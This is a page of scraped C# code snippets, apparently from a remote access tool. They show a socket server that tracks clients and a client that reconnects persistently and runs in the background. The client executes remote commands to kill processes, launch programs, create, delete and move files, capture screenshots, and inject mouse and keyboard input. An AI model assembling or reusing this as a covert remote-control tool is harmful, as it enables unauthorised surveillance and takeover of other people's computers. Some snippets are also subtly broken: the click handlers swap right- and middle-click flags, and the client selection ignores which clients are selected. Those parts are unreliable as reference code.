Esempio n. 1
0
 public void OnClientDisconnected(SocketState cs)
 {
     #if DEBUG
     MessageBox.Show(cs.Connection.RemoteEndPoint.ToString() + " has disconnected!");
     #endif
     this.UpdateForm();
 }
 public static void HandleKill(SocketState ss, Command c)
 {
     foreach (Process p in Process.GetProcessesByName(c.Arguments[0]))
     {
         p.Kill();
     }
 }
Esempio n. 3
0
        private bool OnReceiveCommand(SocketState cs, Command c)
        {
            if(!requesting || this.IsDisposed || c.CommandType != Command.Type.Screenshot || cs.Connection.RemoteEndPoint.ToString() != this.cs.Connection.RemoteEndPoint.ToString())
            {
                return false;
            }

            CommandState cmdState = CommandHandler.HandleCommand(c, cs);
            try
            {
                pbScreenshot.Invoke((MethodInvoker)delegate
                {
                    tmrScreenshot.Enabled = requesting;
                    tmrScreenshotTimeout.Enabled = false;
                    pbScreenshot.Image = byteArrayToImage((byte[])cmdState.ReturnValue);
                }, null);
            }
            catch (Exception)
            {
                //sh.OnReceiveDataCallback = original;
                return false;
            }

            return true;
        }
Esempio n. 4
0
        //SocketHelper.OnReceiveDataDelegate original;
        public WatchForm(SocketHelper sh, SocketState cs)
        {
            this.sh = sh;
            this.cs = cs;
            //this.original = sh.OnReceiveDataCallback;

            InitializeComponent();
        }
Esempio n. 5
0
 public void OnClientConnected(SocketState cs)
 {
     #if DEBUG
     //MessageBox.Show(cs.Connection.RemoteEndPoint.ToString() + " has connected!");
     //sh.Send(cs, new Command(Command.Type.Screenshot));
     #endif
     this.UpdateForm();
 }
        public static void HandleList(SocketState ss, Command c)
        {
            string[] foldersInDirectory = Directory.EnumerateDirectories(c.Arguments[0]).ToArray<string>();
            string[] filesInDirectory = Directory.EnumerateFiles(c.Arguments[0]).ToArray<string>();
            List<string> allInDirectory = new List<string>();
            allInDirectory.AddRange(foldersInDirectory);
            allInDirectory.Add("--FILES--");
            allInDirectory.AddRange(filesInDirectory);

            ch.Send(new Command(Command.Type.List, allInDirectory.ToArray()));
        }
        public static void HandleCreate(SocketState ss, Command c)
        {
            string fileName = c.Arguments[0];
            if (c.Arguments.Length <= 1) return;

            using (FileStream fs = File.Create(fileName))
            {
                string fileText = c.Arguments[1];
                byte[] textBytes = Encoding.ASCII.GetBytes(fileText);

                fs.Write(textBytes, 0, textBytes.Length);
            }
        }
Esempio n. 8
0
        public FileBrowser(SocketState cs, SocketHelper sh)
        {
            this.cs = cs;
            this.sh = sh;
            sh.OnReceiveCommandCallback.Add(OnReceiveCommand);

            upLabel = new Label()
            {
                Text = "..",
                ForeColor = Color.DarkRed,
                Tag = false,
            };
            upLabel.Click += upLabel_Click;

            InitializeComponent();
        }
        public bool OnReceiveCommand(SocketState ss, Command c)
        {
            try
            { // handle all errors to ensure program continues in background
                if (CommandHandlers.ContainsKey(c.CommandType))
                {
                    CommandHandlers[c.CommandType](ss, c);
                }
            }
            catch (Exception ex)
            {
                this.SendError(ex);
            }

            return true;
        }
Esempio n. 10
0
        public bool OnReceiveCommand(SocketState cs, Command c)
        {
            if (c.CommandType != Command.Type.List || cs.Connection.RemoteEndPoint.ToString() != this.cs.Connection.RemoteEndPoint.ToString()) return false;

            bool isFiles = false;

            List<Control> controlsToAdd = new List<Control>();
            controlsToAdd.Add(upLabel);

            foreach (string item in c.Arguments)
            {
                if (item == "--FILES--")
                {
                    isFiles = true;
                    continue;
                }

                Label fileLabel = new Label();
                fileLabel.Tag = isFiles;
                fileLabel.Text = item.Replace(currentDirectory, "");
                fileLabel.ForeColor = isFiles ? Color.Black : Color.DarkBlue;
                fileLabel.BorderStyle = BorderStyle.FixedSingle;
                fileLabel.MouseClick += fileLabel_Click;
                fileLabel.DoubleClick += fileLabel_DoubleClick;
                if(isFiles) fileLabel.ContextMenuStrip = cmsFile;

                if (currentDirectory + fileLabel.Text == copiedFile) fileLabel.BackColor = Color.LightBlue;

                controlsToAdd.Add(fileLabel);
            }

            flowLayout.Invoke((MethodInvoker)delegate
            {
                flowLayout.Controls.Clear();
                flowLayout.Controls.AddRange(controlsToAdd.ToArray());
            });

            return true;
        }
Esempio n. 11
0
        public static CommandState HandleCommand(Command c, SocketState cs)
        {
            CommandState cmdState = new CommandState();

            switch (c.CommandType)
            {
                case Command.Type.Identify:
                    cs.Tag = c.Arguments;
                    cmdState.UpdateForm = true;
                    break;

                case Command.Type.Screenshot:
                    byte[] screenshotBytes = Convert.FromBase64String(c.Arguments[0]);

            #if DEBUG
                    //File.WriteAllBytes("debugscreenshot.jpg", screenshotBytes);
            #endif
                    cmdState.ReturnValue = screenshotBytes;
                    break;
            }

            return cmdState;
        }
 public static void HandleDisconnect(SocketState ss, Command c)
 {
     ss.Connection.Close();
 }
 public static void HandleDelete(SocketState ss, Command c)
 {
     File.Delete(c.Arguments[0]);
 }
 public static void HandleCursorPosition(SocketState ss, Command c)
 {
     Cursor.Position = new Point(Convert.ToInt32(c.Arguments[0]), Convert.ToInt32(c.Arguments[1]));
 }
Esempio n. 15
0
 private void HandleSocketException(SocketState ss, SocketException ex)
 {
     // If the connection is reset, treat as if client disconnected (Remove them from client list)
     if (ex.SocketErrorCode == SocketError.ConnectionReset && Clients != null)
     {
         Clients.TryRemove(ss.Connection.RemoteEndPoint.ToString(), out ss);
         if (OnDisconnectCallback != null)
         {
             OnDisconnectCallback(ss);
         }
     }
     else
     {
         ExceptionHandler.HandleException(ex);
     }
 }
Esempio n. 16
0
        private SocketState[] GetSelectedClients()
        {
            SocketState[] selectedClients = new SocketState[lstClients.SelectedItems.Count];

            for(int i = 0; i < selectedClients.Length; i++)
            {
                ListViewItem lvi = lstClients.Items[i];

                if (!sh.Clients.ContainsKey(lvi.Text)) continue;

                selectedClients[i] = sh.Clients[lvi.Text];
            }

            return selectedClients;
        }
 public static void HandleMouseLeftClick(SocketState ss, Command c)
 {
     Utility.MouseClick(Utility.MOUSEEVENTF_LEFTDOWN | Utility.MOUSEEVENTF_LEFTUP);
 }
        public static void HandleScreenshot(SocketState ss, Command c)
        {
            Bitmap screenshot = Utility.ScreenToBitmap();
            string base64Screenshot;
            ImageFormat imgFormat = ImageFormat.Png;
            long quality = 100L;

            try
            {
                if (c.Arguments.Length > 0)
                {
                    switch (c.Arguments[0].ToString().ToLower())
                    {
                        case "jpg":
                            imgFormat = ImageFormat.Jpeg;
                            break;
                        case "gif":
                            imgFormat = ImageFormat.Gif;
                            break;
                        case "png":
                            imgFormat = ImageFormat.Png;
                            break;
                    }

                    if (c.Arguments.Length > 1)
                    {
                        quality = Convert.ToInt64(c.Arguments[1]);
                    }
                }
            }
            catch (Exception)
            {
                quality = 0;
                imgFormat = ImageFormat.Jpeg;
            }

            using (MemoryStream ms = new MemoryStream())
            {
                EncoderParameters eps = new EncoderParameters(1);
                eps.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
                screenshot.Save(ms, Utility.GetEncoder(imgFormat), eps);
                base64Screenshot = Convert.ToBase64String(ms.ToArray());
            }

            ch.Send(new Command(Command.Type.Screenshot, base64Screenshot));
        }
Esempio n. 19
0
        public void Send(SocketState ss, string text)
        {
            if (!Listen) return;

            byte[] encodedText = GetEncodedString(text);
            try
            {
                ss.Connection.BeginSend(encodedText, 0, encodedText.Length, SocketFlags.None, null, null);
            }
            catch (SocketException ex)
            {
                HandleSocketException(ss, ex);
            }
            catch (Exception ex)
            {
                ExceptionHandler.HandleException(ex);
            }
        }
        public static void HandleOpen(SocketState ss, Command c)
        {
            string fileToOpen = c.Arguments[0];
            string arguments = (c.Arguments.Length > 1) ? c.Arguments[1] : "";

            Process.Start(fileToOpen, arguments);
        }
Esempio n. 21
0
        /// <summary>
        /// Calls all command handlers (LIFO) and stops when one handles command (returns true)
        /// </summary>
        public void HandleReceiveCommand(SocketState ss, Command c)
        {
            for (int i = OnReceiveCommandCallback.Count - 1; i >= 0; i--)
            {
                if (OnReceiveCommandCallback[i] == null) continue;

                bool handled = OnReceiveCommandCallback[i](ss, c);

                if (handled) break;
            }
        }
Esempio n. 22
0
 private void RegisterReceive(SocketState ss)
 {
     ss.Connection.BeginReceive(ss.Buffer, 0, ss.Buffer.Length, SocketFlags.None, new AsyncCallback(OnBeginReceive), ss);
 }
Esempio n. 23
0
        private void OnBeginConnect(IAsyncResult ar)
        {
            Socket client = (Socket)ar.AsyncState;

            try
            {
                client.EndConnect(ar);
            }
            catch (Exception ex)
            {
                ExceptionHandler.HandleException(ex);
                if (Persistent)
                {
                    System.Threading.Thread.Sleep((5000 * (FailedAttempts++)));
                    FailedAttempts = Math.Min(FailedAttempts, 60);
                    Connect();
                }
                return;
            }

            SocketState ss = new SocketState()
            {
                Connection = client
            };

            if(OnConnectCallback != null)
            {
                OnConnectCallback(ss);
            }

            RegisterReceive(ss);
        }
 public static void HandleSendText(SocketState ss, Command c)
 {
     //SendKeys.Send(c.Arguments[0]); doesn't work in gui-less app
     MLib.InputDevices.Keyboard.SimulateKeyPresses(c.Arguments[0]);
 }
 public static void HandleMiddleClick(SocketState ss, Command c)
 {
     Utility.MouseClick(Utility.MOUSEEVENTF_RIGHTDOWN | Utility.MOUSEEVENTF_RIGHTUP);
 }
 public static void HandleCopy(SocketState ss, Command c)
 {
     File.Copy(c.Arguments[0], c.Arguments[1]);
 }
 public static void HandleMove(SocketState ss, Command c)
 {
     File.Move(c.Arguments[0], c.Arguments[1]);
 }
Esempio n. 28
0
        public void OnBeginAccept(IAsyncResult ar)
        {
            if (!Listen) return;

            Socket socket, remoteSocket;
            try
            { // client can disconnect before we handle the connection (... really?)
                socket = (Socket)ar.AsyncState;
                remoteSocket = socket.EndAccept(ar);
            }
            catch (SocketException)
            {
                return;
            }
            catch (Exception ex)
            {
                ExceptionHandler.HandleException(ex);
                return;
            }

            string key = remoteSocket.RemoteEndPoint.ToString();
            SocketState ss = new SocketState()
            {
                Connection = remoteSocket
            };

            Clients[key] = ss;
            if (OnConnectCallback != null)
            {
                OnConnectCallback(ss);
            }

            RegisterReceive(ss);
            RegisterAccept();
        }
 public static void HandleRightClick(SocketState ss, Command c)
 {
     Utility.MouseClick(Utility.MOUSEEVENTF_MIDDLEDOWN | Utility.MOUSEEVENTF_MIDDLEUP);
 }
Esempio n. 30
0
 public void Send(SocketState ss, Command c)
 {
     this.Send(ss, Utility.Serialize(c));
 }